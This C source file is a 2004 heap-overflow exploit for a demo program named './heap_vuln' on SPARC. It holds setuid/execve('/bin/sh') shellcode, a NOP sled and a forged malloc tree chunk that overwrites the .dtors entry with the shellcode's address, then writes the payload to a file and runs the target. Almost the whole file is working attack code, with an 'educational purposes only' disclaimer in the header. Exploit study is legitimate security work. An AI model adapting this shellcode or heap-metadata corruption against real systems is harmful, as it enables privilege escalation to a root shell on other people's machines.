/*
 *
 * Heap overflow overwriting DTORS
 *
 * You will need to know shellcode address (just run ./heap_vuln)
 * and DTORS address.
 *
 *	root@xxx[.]: readelf -a ./heap_vuln | grep "\.dtors"
 * 	[18] .dtors            PROGBITS        00020be4 000be4 000008 00  WA  0   0  4
 *                                                |
 *                                          DTORS ADDR
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 * 
 * (c) 2004 Copyright by inode <inode@wayreth.eu.org>
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define VULN	"./heap_vuln"

#define SHELLCODE_ADDRESS 	0x00020D18
#define DTORS			0x00020be4

#define ALIGN           8

typedef union _w_ {
	size_t		w_i;		/* an unsigned int */
	struct _t_	*w_p;		/* a pointer */
	char		w_a[ALIGN];	/* to force size */
} WORD;

typedef struct _t_ {
	WORD	t_s;	/* size of this element */
	WORD	t_p;	/* parent node */
	WORD	t_l;	/* left child */
	WORD	t_r;	/* right child */
	WORD	t_n;	/* next in link list */
	WORD	t_d;	/* dummy to reserve space for self-pointer */
} TREE; 

unsigned char	sparc_nop[] = "\x90\x1b\x80\x0e";

unsigned char	jump_nop[] = "\x10\x80\x00\x03";

unsigned char   shellcode[] =   /* dopesquad.net shellcode */
		"\x82\x10\x20\x17"      /* mov          23, %g1 */
                "\x91\xd0\x20\x08"      /* ta           0x8 */
                "\x21\x0b\xd8\x9a"      /* sethi        %hi(0x2f626800), %l0 */
                "\xa0\x14\x21\x6e"      /* or           %l0, 0x16e, %l0 ! 0x2f62696e */
                "\x23\x0b\xdc\xda"      /* sethi        %hi(0x2f736800), %l1 */
                "\x90\x23\xa0\x10"      /* sub          %sp, 16, %o0 */
                "\x92\x23\xa0\x08"      /* sub          %sp, 8, %o1 */
                "\x94\x1b\x80\x0e"      /* xor          %sp, %sp, %o2 */
                "\xe0\x3b\xbf\xf0"      /* std          %l0, [%sp - 16] */
                "\xd0\x23\xbf\xf8"      /* st           %o0, [%sp - 8] */
                "\xc0\x23\xbf\xfc"      /* st           %g0, [%sp - 4] */
                "\x82\x10\x20\x3b"      /* mov          59, %g1 */
                "\x91\xd0\x20\x08"      /* ta           0x8 */
                "\x90\x1b\x80\x0e"      /* xor          %sp, %sp, %o0 */
                "\x82\x10\x20\x01"      /* mov          1, %g1 */
                "\x91\xd0\x20\x08";     /* ta           0x8 */


int main( int argc, char ** argv)
{
	char buffer[1000];
	struct _t_ xx;	 
	FILE * out;
	int i;

	unsigned char * point;

	printf("dtors at: 0x%p\n", (char *) DTORS);
	printf("shellcode size: %d bytes\n\n", sizeof(shellcode) - 1);

	memset( buffer, '7', sizeof( buffer ) );

	point = buffer;

	/* use nop technique modified for heap overflow */
	for( i = 0;  i < 96 ; i++, point += 4 )
		memcpy( point, jump_nop, 4);

	/* just 4 normal nop */
	for( i = 0;  i < 4 ; i++, point += 4 )
		memcpy( point, sparc_nop, 4); 

	/* copy our shellcode */
	memcpy( point, shellcode, sizeof( shellcode ) - 1);

	/* HEAP STRUCTURE */
	xx.t_s.w_i = 0xfffffff0; 
	/* that will be what we need to overwrite */ 
	xx.t_p.w_i = ( DTORS + 4 ) - 4 * sizeof (WORD) ;
	/* */
	xx.t_l.w_i = 0xffffffff;
	/* Shellcode address */
	xx.t_n.w_i = SHELLCODE_ADDRESS; 

	memcpy( buffer + 512, &xx, sizeof(xx));

	out = fopen("x.heap","wb");

	fwrite( buffer, 512 + sizeof(xx), 1, out);
	fclose(out);

	execl(VULN,VULN, NULL);

	return 0;	
}

